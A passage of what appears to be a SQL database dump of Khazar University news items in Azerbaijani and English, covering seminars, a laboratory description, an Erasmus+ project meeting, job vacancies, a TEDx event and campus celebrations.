üzrə bitirmiş Xəyalə Eylazova...','<p>Martın 10-da <em>1\r\nnews.az</em> saytında 2003-cü ildə Xəzər universitetinin İqtisadiyyat və\r\nmenecment fakültəsini beynəlxalq iqtisadi münasibətlər ixtisası üzrə bitirmiş Xəyalə\r\nEylazova haqqında “Хаяла Эйлазова – соавтор лучшей технологической разработки в\r\nбизнес-школе Кембриджа” adlı məqalə yerləşdirilmişdir (müəlliflər: Елена\r\nОстапенко, Э.Т.).</p>\r\n<p>Məqaləni bu link vasitəsilə oxumaq olar:<strong></strong></p>\r\n<p>http://www.1news.az/mobile/society/20170310024218688.html</p>'),(3197,1885,'az','“Təcrübə proqramlarının karyera irəliləyişində faydası”adlı seminar təşkil olunacaq','2017-ci il fevralın 24-də saat 15:00-dan 17:00-dək Xəzər Universitetinin “Neftçilər” korpusunda (otaq 206)...','<p>2017-ci il\r\nfevralın 24-də saat 15:00-dan 17:00-dək Xəzər Universitetinin “Neftçilər”\r\nkorpusunda (otaq 206) “Təcrübə proqramlarının karyera irəliləyişində faydası” adlı\r\nseminar təşkil olunacaq.</p>\r\n<p>İştirak etmək istəyənlərin qeydiyyat\r\nüçün Karyera Mərkəzinə (otaq 211) <strong>e-mail:</strong>\r\n<a href=\"mailto:careercenter@khazar.org\">careercenter@khazar.org</a> və ya <strong>telefon:</strong> (+99412) 421-79-16 (dax.212) vasitəsilə müraciət etməsi\r\nxahiş olunur.</p>'),(3818,2225,'az','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" davam edir','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" təlimindən bu günə olan şəkilləri...','<p>“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \"&nbsp;təlimindən bu günə olan şəkilləri sizə təqdim edirik.</p>'),(4787,2846,'en','Laboratory','Laboratory','<h3>1-<strong>Nanotechnology\r\nLaboratory</strong></h3>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\">The Nanotechnology Lab is a teaching and\r\nresearch facility, designed to give undergraduate and graduate students a\r\npractical insight into different nanoscale characterization and synthesis methods.\r\nOur Lab research interests span over a broad range of applications. Mainly we\r\nuse electrospinning devices to produce nanofibers for biomedical (e.g. tissue\r\nengineering and drug delivery), technological (e.g. organic electronics and\r\nphotovoltaic) and industrial (e.g. filtration and membrane) uses. &nbsp;&nbsp;<br>\r\nIn addition, various tools such as Electron Discharge Machining (EDM) is implemented\r\nin this lab to synthesize nanofluids and investigating their characteristics\r\nand applications. </p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong><br></strong></p><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Principal Researchers:</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><a href=\"http://www.khazar.org/files/engineering/CV%20Rasoul%20Moradi.pdf\">Dr. Rasoul Moradi</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><a href=\"http://www.khazar.org/files/engineering/syllabi/CV_2017_Mirsadegh%20Seyedzavvar.pdf\">Dr. Mirsadeg Seyyedzavvar</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong><br></strong></p><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Contact email:</strong></p><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong></strong><a href=\"http://mailto:rmoradi@khazar.org\">rmoradi[at]khazar.org</a></p><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><br></p><table style=\"border:0px\"><tbody><tr><td style=\"text-align:center\">&nbsp;<img src=\"http://www.khazar.org/files/engineering/images/Picture1.jpg\" style=\"border:0px #000000;width:300px;height:208px;margin-left:7px;vertical-align:baseline\"></td><td style=\"text-align:center\"><img src=\"http://www.khazar.org/files/engineering/images/Picture4.jpg\" style=\"border:0px #000000;width:300px;height:208px;vertical-align:baseline\"></td></tr><tr><td style=\"text-align:center\">&nbsp;<strong>Microcapsule for drug encapsulation</strong></td><td style=\"text-align:center\"><strong> Nanofiber scaffolds for different applications </strong>  <br></td></tr><tr><td style=\"text-align:center\">&nbsp;<img src=\"http://www.khazar.org/files/engineering/images/Picture3.jpg\" style=\"border:0px  #000000;width:300px;height:230px;vertical-align:baseline\"></td><td style=\"text-align:center\">&nbsp;<img src=\"http://www.khazar.org/files/engineering/images/Picture2.jpg\" style=\"border:0px #cc0000;width:219px;height:300px;vertical-align:baseline\"></td></tr><tr><td style=\"text-align:center\"><span style=\"color:#cc0000;white-space:pre\"><strong><span style=\"color:#000000\">Electrospinning on the drum surface </span> <br></strong></span></td><td style=\"text-align:center\"><strong>&nbsp;Electrospinning setup</strong></td></tr></tbody></table><br>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><br></p><h3><strong>2</strong>- <strong>Analytical Chemistry Lab</strong>\r\n</h3><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\">Analytical Chemistry Laboratory provides a\r\nbroad range of analytical chemistry support services to the scientific and\r\nengineering programs.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong><br></strong></p><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Principal Researchers:</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><a href=\"http://www.khazar.org/files/engineering/CV%20Rasoul%20Moradi.pdf\">Dr. Rasoul Moradi</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><a href=\"http://www.khazar.org/files/engineering/JestinMandumpal_resume.pdf\">Dr. Jestin Mandumpal</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong><br></strong></p><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Contact email:</strong></p><p style=\"\" mso-margin-top-alt:auto;margin-left:.5in;line-height:normal\";margin-bottom:auto\"=\"\"><strong></strong><a href=\"http://mailto:jmandumpal@khazar.org\">jmandumpal[at]khazar.org</a></p>'),(4008,2339,'az','Xəzər Universitetində PETRA layihəsinin ilk idarəedici görüşü','2017-ci il iyulun 17-18-də hazırda Valensiya Politexnik Universitetinin koordinatroluq etdiyi Azərbaycan Universitetlərində Tədris və Təlimin Təkmilləşdirilməsi adlı ERASMUS + layihəsinin ilk idarəedici görüşü keçirildi...','<p>2017-ci il iyulun 17-18-də hazırda Valensiya Politexnik Universitetinin koordinatroluq etdiyi Azərbaycan Universitetlərində Tədris və Təlimin Təkmilləşdirilməsi adlı ERASMUS + layihəsinin ilk idarəedici görüşü keçirildi.</p><p>Xəzər Universitetində keçən görüşdə həm Azərbaycandan (Xəzər Universiteti, Naxçıvan Dövlət Universiteti, Gəncə Dövlət Universiteti, Sumqayıt Dövlət Universiteti, Bakı Slavyan Universiteti, Azərbaycan Dillər Universiteti, Azərbaycan Dövlət Pedaqoji Universiteti, Azərbaycan Universiteti, Azərbaycan Respublikası Təhsil Nazirliyi), həm də Avropadan (Jyvaskyla Universiteti - Finlandiya, Debrecen Universiteti - Macarıstan, Valensiya Politexnik Universiteti - İspaniya, Vyana Tətbiqi Elmlər Universiteti - Avstriya, Qazi Universiteti - Türkiyə) olan tərəfdaş universitetlərin və Təhsil Nazirliyinin nümayəndələri iştirak edirdilər. Tədbirin rəsmi açılış hissəsində Xəzər Univeristetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Azərbaycan Respublikası Təhsil Naziriliyi Ali, orta və əlavə ixtisas sektorunun müdiri Dr.Sülhəddin Gözəlov, Valensiya Politexnik Universitetindən layihə koordinatoru Dr.Javier Orozco, Milli ERASMUS + ofisinin direktoru Pərviz Bağırov çıxış etdilər.</p><p>İki günlük görüş müddətində layihə çərçivəsində nəzərdə tutulmuş işlərin planı, maliyyə məsələləri, hər bir tərəfdaş universitetin layihədəki rolu və cavabdeh olduğu işlər, potensial risk və onların həll olunması yolları müzakirə olundu, 6 aylıq və bir illik səfər planları müəyyənləşdirildi. Nəzərə alındı ki, layihənin aparıcı universiteti kimi Xəzər Universiteti Azərbaycandan olan tərəfdaş universitetlərdə tədris və təlim sisteminin qurulması üçün iş planını</p><p>təqdim edəcək. Layihənin icrası haqqında ilk hesabatın 2017-ci il sentyabrın sonuna kimi təqdim olunması qərara alındı.</p><p>Layihənin xüsusi məqsədləri (1) tədris və təlim prosesinin pedaqoji və texnoloji ehtiyaclarını ödəmək üçün İnsan kapitalının İnkişaf etdirilməsi və (2) İnnovativ texnologiya, tədqiqatın, fəal öyrənmənin və Avropa universitetləri ilə uzunmüddətli münasibətlərin qurulması vasitəsilə Keyfiyyətli Tədris və Təlimin inkişaf etdirilməsi və təmin edilməsidir.</p><p>9 Azərbaycan və 5 Avropa tərəfdaş universitetlərinin birgə hazırladığı 3 illik layihənin büdcəsi 908.623 avrodur.</p><p>Layihənin birbaşa iştirakçıları doktorant tələbələr, tədqiqatçılar və akademik heyətin digər üzvləridir.</p>'),(3034,1794,'en','Vacancy','Khazar University’s Computer Science and Computer Engineering Department is seeking candidates to fill a vacant position for teaching pertinent major courses...','<p>Khazar University’s Computer Science and Computer Engineering Department is seeking candidates to fill a vacant position for teaching pertinent major courses in the Spring Semester of 2017. Holders of MS and/or PhD degrees in the fields of CS/CE are welcome to apply. The medium of instruction in the School of Engineering and Applied Sciences is English. If interested, please send your CV to the attention of Dr. Hassan Niknafs, the Acting Dean of the School of Engineering, at&nbsp;<a href=\"mailto:hniknafs@khazar.org\">hniknafs@khazar.org</a>.</p><p><strong>Deadline: 31 January</strong></p>'),(3037,1796,'az','Xəzər Universiteti beynəlxalq tələbə qəbulu elan edir','Xəzər Universiteti beynəlxalq tələbələr üçün qəbulun başlanmasını və Beynəlxalq Təqaüd Proqramını elan edir. Tədris proqramları dörd (4) fakültədə bakalavr, magistratura...','<p style=\"\" text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər\r\nUniversiteti beynəlxalq tələbələr üçün qəbulun başlanmasını və Beynəlxalq Təqaüd\r\nProqramını elan edir. Tədris proqramları dörd (4) fakültədə bakalavr,\r\nmagistratura və doktorantura səviyyələrində təklif olunur. Təqaüd proqramı\r\ndünyanın bütün ölkələrindən olan tələbələr üçün açıqdır və hər ölkəyə tam təhsil\r\nhaqqını ödəyən iki təqaüd imkanı ayırır.</p>\r\n<p>Son müraciət\r\ntarixi: <strong>15 aprel\r\n2017-ci&nbsp;il, saat 17:00 (5:00 PM) (Bakı vaxtı ilə).</strong></p>\r\n<p>Müraciət etmək\r\nüçün: <a href=\"http://www.khazar.org/az/menus/496/how_to_apply_sup_style_color_red_new_sup_\">http://www.khazar.org/az/menus/496/how_to_apply_sup_style_color_red_new_sup_</a>.</p>'),(3038,1796,'en','Khazar University Opens Admission for International Students','Khazar University announces the opening of admission and the International Scholarship Program for international students. Study programs are offered in four schools of the university...','<p>Khazar\r\nUniversity announces the opening of admission and the International Scholarship\r\nProgram for international students. Study programs are offered in four schools\r\nof the university at both undergraduate (bachelor) and graduate (master and\r\nPhD) levels. The scholarship program targets nationals of all countries around\r\nthe world and offers two merit-based full-tuition fee covered scholarships for\r\neach country.</p>\r\n<p>Deadline: <strong>April\r\n15, 2017 at 17:00 (5:00 PM) Baku time</strong></p>\r\n<p>To apply, visit: <a href=\"http://www.khazar.org/en/menus/496/nece_muraciet_etmeli_sup_style_color_red_yeni_sup_\">http://www.khazar.org/en/menus/496/nece_muraciet_etmeli_sup_style_color_red_yeni_sup_</a></p>'),(3039,1792,'en','Students’ Holiday Tree in the Media','On the A24.az news site, students’ decorative holiday tree that they made for the Spaghetti Bridge Competition on December 26 was featured with photos in an article entitled...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On the <strong>A24.az</strong> news site,\r\nstudents’ decorative holiday tree that they made for the Spaghetti Bridge\r\nCompetition on December 26 was featured with photos in an article entitled\r\n“First in the World! Everyone is talking about Azerbaijani students’ New Year\r\ntree.” </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">This article is available at the\r\nfollowing link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://a24.az/dunyada-ilk-hami-azerbaycanli-telebelerin-duzeltdiyi-yeni-il-agacindan-danisir-foto/\">http://a24.az/dunyada-ilk-hami-azerbaycanli-telebelerin-duzeltdiyi-yeni-il-agacindan-danisir-foto/</a>.&nbsp;</p>'),(3040,1793,'en','Khazar University Alumni in “Marketing Azerbaijan” Group','On the site facemark.az, a list of Marketing Azerbaijan group members with their alma maters was published. Khazar University is also included in the list...','<p>On\r\nthe site facemark.az, a list of Marketing Azerbaijan group members with their\r\nalma maters was published. Khazar University is also included in the list. </p>\r\n<p>The\r\nfull text of the article is available at the following link: </p>\r\n<p><a href=\"http://facemark.az/index/news/marketinq-azerbaycan-qrupu-uzvlerinin-bitiridiyi-univeristetler-ii-yazi-7056\">http://facemark.az/index/news/marketinq-azerbaycan-qrupu-uzvlerinin-bitiridiyi-univeristetler-ii-yazi-7056</a>.</p>'),(3041,1791,'en','Senior Advisor to President of Turkey Receives Award in Azerbaijan ','As we previously reported, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was given the “Service to Turkishness”...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">As we previously reported, Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, was given the “Service to Turkishness” Award by the\r\nBorchali Public Union at its event for 31 December-- International Solidarity\r\nDay of Azerbaijanis. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Yalçın Topçu, Senior Advisor to the\r\nPresident of Turkey, also received the award. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">More detailed information is available\r\nat the following link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.tezadlar.az/manset/20447-trkiynin-mdniyyt-naziri-boralnn-bayram-tdbirind.html.\">http://www.tezadlar.az/manset/20447-trkiynin-mdniyyt-naziri-boralnn-bayram-tdbirind.html.</a></p>'),(3042,1797,'az','“TEDxKhazarUniversity” adlı tədbir keçiriləcək','2017-ci il mayın 13-də Xəzər Universitetinin “Dünya” konsert zalında (Ünvan: B.Səfəroğlu küç. 122) “TEDxKhazarUniversity” adlı tədbir keçiriləcək...','<p>2017-ci il mayın&nbsp;13-də Xəzər Universitetinin “Dünya” konsert zalında (Ünvan: B.Səfəroğlu küç. 122) “TEDxKhazarUniversity” adlı tədbir keçiriləcək.</p><p>Məlumat üçün bildirək ki, TED-dən xüsusi lisenziya almaqla, bu tədbirin təşkilatçılarından biri olmaq olar.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">Qeyd edək ki, TEDx tədbiri artıq Azərbaycanda bir neçə dəfə keçirilmişdir. Ötən ilin sonlarında Xəzər Universiteti həmin lisenziyanı almış və növbəti keçiriləcək tədbirin hazırlıqlarına başlamışdır.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">TEDxKhazarUniversity tədbirində məruzəçi kimi çıxış etmək istəyənlər qısa tərcümeyi-hallarını və məruzələrinin qısa təsvirini 2017-ci il fevralın 15-nə qədər&nbsp;<a href=\"mailto:education@khazar.org\" target=\"_blank\">education@khazar.org</a>email ünvanına göndərə bilərlər. Məruzələr maksimum 18 dəqiqəlik və TED formatına uyğun olamalıdır. Formatla&nbsp;<strong><em>youtube.com</em></strong>&nbsp;saytında TED kanalı vasitəsi ilə tanış olmaq olar.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">Məruzəçilərin seçimi haqqında qərar fevralın sonuna qədər veriləcək və müraciət edənlərlə əlaqə saxlanılacaqdır.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">Tədbirdə tamaşaçı olaraq iştirak etmək istəyənlər üçün biletlər 2017-ci il martın15-dən etibarən Xəzər Universitetinin girişində satılacaq. Biletin qiyməti 5 AZN-dir.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">Tədbir haqqında əlavə məlumat almaq üçün müraciət etmək olar:&nbsp;<strong>E-mail:&nbsp;</strong><a href=\"mailto:education@khazar.org\" target=\"_blank\">education@khazar.org</a>;<strong>Facebook</strong>:<em>Tedxkhazaruniversity</em>;XəzərUniversiteti “Neftçilər” kampusu (otaq 303).</p>'),(3043,1798,'az','“Coğrafiya və informasiyanın müasir həyatımıza təsiri” mövzusunda tədbir keçirilirdi','2016-cı il dekabrın 28-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin təşkil etdiyi “Coğrafiya və informasiyanın müasir həyatımıza təsiri” mövzusunda...','<p>2016-cı il dekabrın 28-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin təşkil etdiyi “Coğrafiya və informasiyanın müasir həyatımıza təsiri” mövzusunda tədbir keçirildi. Tədbirdə Təhsil fakültəsi, İqtisadiyyat və menecment fakültəsinin tələbələri iştirak edirdilər. “Rubikon” şirkətinin nümayəndəsi Eldar Rubimov mövzu ilə bağlı təqdimat keçirdi.&nbsp;</p><p>Sonda isə E.Rubimov tələbələrin suallarını cavablandırdı.</p>'),(3044,1798,'en','“Influence of Geography and Information on Modern Life” Event','On December 28, 2016, Khazar University’s Department of Geography and Environment held an event entitled “Influence of Geography and Information on Modern Life...','<p>On December 28, 2016, Khazar University’s Department of Geography and Environment held an event entitled “Influence of Geography and Information on Modern Life.” Participants included students from the School of Education and School of Economics and Management. A presentation was made by Eldar Rubimov, representative of the Rubikon company.&nbsp;</p><p>At the end of the event, E.Rubimov answered students’ questions.&nbsp;</p>'),(3045,1797,'en','TEDxKhazarUniversity Event to be held at Khazar University','On May 13, 2017 at 14:00 in Khazar University’s World Concert Hall (122 Bashir Safaroghlu St.), an event entitled “TEDxKhazarUniversity” will be held...','<p>On May 13, 2017 at 14:00 in Khazar University’s World\r\nConcert Hall (122 Bashir Safaroghlu St.), an event entitled\r\n“TEDxKhazarUniversity” will be held. </p>\r\n<p>TED events, including lectures by specialists and famous\r\npeople, are followed by millions of viewers on youtube.com. Khazar University\r\napplied for and obtained a license to hold its own official TEDx event. The\r\nevent includes a one-day series of lectures (each by a single speaker) that are\r\n18 minutes or less. TED lectures are traditionally feature innovation,\r\ncreativity, integration, passion, courage, and determination. Lectures are\r\nfilmed and uploaded to the TED youtube channel, where millions of people can\r\nwatch them. </p>\r\n<p>Attendance at the event costs 5 manat; tickets will be sold\r\nat the event entrance. </p>\r\n<p>For additional information, suggestions, or to sign up as a\r\nlecturer, please contact Room 303 at the Khazar University Neftchilar Campus,\r\nor see the facebook page at <strong><em>Tedxkhazaruniversity </em></strong>or email&nbsp; <a href=\"mailto:education@khazar.org\">education@khazar.org</a>.</p>'),(3046,1799,'az','“Dünya” məktəbində bayram şənliyi keçirildi','2016-cı il dekabrın 28-də Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində (Sumqayıt) 31 Dekabr –Dünya Azərbaycanlılarının Həmrəylik Günü və Yeni ilə...','<p>2016-cı il dekabrın 28-də Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində (Sumqayıt) 31 Dekabr –Dünya Azərbaycanlılarının Həmrəylik Günü və Yeni ilə həsr edilmiş bayram şənliyi keçirildi. Şənliyə şagirdlər, onların valideynləri, müəllimləri və digər qonaqlar dəvət edilmişdirlər. Aparıcılar Azərbaycan, ingilis və rus dəllərində Dünya Azərbaycanlılarının Həmrəylik Günü, onun tarixi haqqında geniş məlumat verdilər. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı şənliyə toplaşanları ürkdən təbrik etdi.&nbsp;</p><p>Məktəb şagirdlərinin ifasında şeirlər, mahnılar səsləndirildi, tamaşalar göstərildi. Müxtəlif viktorinalar keçirildi. Bayram şənliyində Sumqayıt Şəhər Mədəniyyət və Turizm İdarəsinin müdiri Mehman Şərifov, Sumqayıt Təhsil Şöbəsinin nümayəndələri, Xəzər Universitetinin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli, “Dünya” məktəbinin nümayəndələri iştirak edirdilər. Universitetin əməkdaşları Məhsəti Cabbarova, Marta Lauri və digər incəsənət nümayəndələrinin ifasında mahnılar və saz havaları səsləndirildi.&nbsp;</p><p>Sonda şagirdlərə yeni il hədiyyələri təqdim edildi.&nbsp;</p>'),(3047,1799,'en','Holiday Celebration at Dunya School ','On December 28, 2016, a celebration was held in Khazar University’s affiliate Dunya School’s Sumgayit branch to mark 31 December-- International Solidarity Day...','<p>On December 28, 2016, a celebration was held in Khazar University’s affiliate Dunya School’s Sumgayit branch to mark 31 December-- International Solidarity Day of Azerbaijanis as well as New Year. Participants in the celebration included pupils, their parents, teachers and other guests. The event announcers spoke about both holidays and their histories in Azerbaijani, English and Russian. Then Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, made a speech.&nbsp;</p><p>Pupils performed poems, songs and skits in the event. They played several quiz games. Participants in the celebration also included Mehman Sharifov, Head of the Sumgayit City Culture and Tourism Board; representatives of the Sumgayit Board of Education; Alovsat Amirbeyli, Director for Public Relations and Media at Khazar University; and representatives of Dunya School in Baku. Musical performances were made by various artists, including songs on saz played by Khazar University colleagues Mehseti Jabbarova and Martha Lawry.&nbsp;</p><p>At the end of the event, pupils were given New Year gifts.&nbsp;</p>'),(3048,1800,'az','“Effektiv kommunikasiya” adlı təlim keçirildi','2016-cı il dekabrın 28-də Xəzər Universitetinin Karyera Mərkəzi “Effektiv kommunikasiya” adlı təlim keçirdi. Təlim Uğur İnkişaf Mərkəzinin psixoloqu Nərgiz Qaravəliyeva...','<p>2016-cı il dekabrın 28-də Xəzər Universitetinin Karyera Mərkəzi “Effektiv kommunikasiya” adlı təlim keçirdi. Təlim Uğur İnkişaf Mərkəzinin psixoloqu Nərgiz Qaravəliyeva tərəfindən keçirildi. Xəzər Universitetinin müxtəlif ixtisaslı tələbələrinin iştirak etdiyi təlimdə effektiv ünsiyyətin qurulması, ünsiyətcil olmağın yolları və kommunikasiyada yanlış və ya düzgün faktorlar haqqında danışılıdı. Təlimdə tələbələr qısa təcrübə keçərək, müzakirələrdə iştirak etdilər və təlimçiyə suallar verdilər.&nbsp;</p><p>Kommunikasiya təlimində iştirak edən tələbələr sonda sertifikat əldə edəcəklər.</p>'),(3049,1800,'en','Effective Communication Training','ON December 28, 2016, Khazar University Career Center held a training on “Effective Communication.” It was led by Nargiz Garaliyeva, psychologist of the Ughur (Success)...','<p>ON December 28, 2016, Khazar University Career Center held a training on “Effective Communication.” It was led by Nargiz Garaliyeva, psychologist of the Ughur (Success) Development Center. The training covered effective communication and ways to be a better communicator as well as right and wrong methods in communication. Participants included Khazar University students from various schools. Students did practice exercises in the training and participated in discussions. The trainer answered their questions.&nbsp;</p><p>At the end of the communication training, participants were given certificates.&nbsp;</p>'),(3051,1794,'az','Vakansiya: Mühəndislik və tətbiqi elmlər fakültəsi müəllim axtarır','Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsi,Kompüter elmləri və kompüter mühəndisliyi departamenti 2017-ci il yaz semestri dövründə əsas fənlərin tədrisi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:105%\"\"=\"\">Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsi,Kompüter elmləri\r\nvə kompüter mühəndisliyi departamenti 2017-ci il yaz semestri dövründə əsas fənlərin\r\ntədrisi üçün vakant yerlərə namizədlər axtarır. Kompüter elmləri, kompüter mühəndisliyi\r\nsahələrində magistr və ya doktorluq dərəcəsi olan şəxslər müraciət edə bilərlər.\r\nMühəndislik və tətbiqi elmlər fakültəsində tədris dili ingilis dilindədir.\r\nMaraqlananlar öz CV-lərini Mühənsdislik fakültəsinin dekanı Dr.Hassan Niknafsa\r\ngöndərə bilərlər. <a href=\"mailto:hniknafs@khazar.org\">hniknafs@khazar.org</a>.&nbsp;</p>'),(4614,2736,'az','Müəllim və tələbələr Sumqayıt Texnologiyalar Parkında oldular','2017-ci il dekabrın 14-də Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin müəllim və tələbələri Sumqayıt Texnologiyalar Parkında oldular...','<p>2017-ci il dekabrın 14-də Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin müəllim və tələbələri Sumqayıt Texnologiyalar Parkında (STP)&nbsp;oldular. Görüşün birinci hissəsində STP-nin mütəxəssislərinin təqdimatları oldu. Sonra isə tələbə və müəllimlər Polimer Məmulatlar, Elektrik Avadanlıqları, Metal Konstruksiyalar, Qaynar Sinkləmə zavodlarında oldular. Zavodların rəhbər və mütəxəssisləri tələbələrə ordakı iş prossesi, emal edilən məhsullar haqqında geniş məlumat verdilər.</p>'),(3163,1865,'en','Khazar Doctoral Student’s Interview in Azerbaijani','On February 1, 2017, APA News Agency published Sana Imran’s interview in Azerbaijani. The interview was conducted in English and published on January 18, 2017...','<p>On February 1, 2017, APA News Agency published\r\nSana Imran’s interview in Azerbaijani. The interview was conducted in English\r\nand published on January 18, 2017. </p>\r\n<p>Read the interview at the following link:</p>\r\n<p><em><a href=\"http://apa.az/xarici_siyaset/sana-imran-azerbaycan-cenubi-qafqazin-suretle-inkisaf-eden-tehlukesiz-muselman-olkesidir.html\">http://apa.az/xarici_siyaset/sana-imran-azerbaycan-cenubi-qafqazin-suretle-inkisaf-eden-tehlukesiz-muselman-olkesidir.html</a>\r\n</em></p>'),(3052,1802,'az','Hamlet İsaxanlının yaradıcılığı haqqında məqalə “Ədəbi düşüncələr” adlı kitabda','2016-cı ilin dekabrında Azərbaycan Dövlət Pedaqoji Universitetinin Ağcabədi filialında çalışan Sabir Rüstəmoğlunun (Məmmədov) “Ədəbi düşüncələr” adlı kitabı çapdan çıxmışdır...','<p>2016-cı ilin dekabrında Azərbaycan Dövlət Pedaqoji Universitetinin Ağcabədi filialında çalışan Sabir Rüstəmoğlunun (Məmmədov) “Ədəbi düşüncələr” adlı kitabı çapdan çıxmışdır. Kitabda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının poeziyasına həsr olunmuş bir məqalə də yer almışdır.</p>'),(3054,1802,'en','Essay on Hamlet Isaxanli’s Poetry in Newly-Published Book','In December 2016, the book Literary Thoughts by Sabir Rustamoghly (Mammadov), instructor from the Aghjabedi branch of Azerbaijan State Pedagogical University...','<p>In December 2016, the book Literary Thoughts by Sabir Rustamoghly (Mammadov), instructor from the Aghjabedi branch of Azerbaijan State Pedagogical University, was published. The book includes a short essay on Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, and his poetry.</p>'),(3055,1801,'en','“Disabilities and Attitudes Toward Them” Article Contest Winners Announced','On December 28, 2016, a closing ceremony was held for the “Disabilities and Attitudes Toward Them” article contest which was held by the Center for Students with Disabilities...','<p>On December 28, 2016, a closing ceremony was held for the “Disabilities and Attitudes Toward Them” article contest which was held by&nbsp;the Center for Students with Disabilities of&nbsp;Khazar University and Khazar University  Psychological Services Center. During the event, Rima Mammadova, project manager of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project and coordinator of the Center for Students with Disabilities, made a presentation about the project and the Center. Melek Karimova, Director of the Psychological Services Center, spoke about disabilities, their characteristics and attitudes toward them. She also gave information to participants about the Khazar Psychological Services Center.&nbsp;</p><p>Then the top 8 winners of the article contest, which began in October, were announced. First place went to Samir Imanov, second place to Kamale Resulova, and third place to Elshan Daghlar.&nbsp;</p><p>At the end of the event, Samir Imanov spoke about the contest and the book he had written. Other participants in the event included representatives from partners in the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project including Sumgayit State University, Azerbaijan State Economics University, Scientific Research and Training Center of the Ministry of Labor and Social Protection of the Population of the Azerbaijan Republic, Khazar University faculty and staff members, and other guests.&nbsp;</p>'),(3056,1804,'az','“Elm üçbucağı” proqramının növbəti 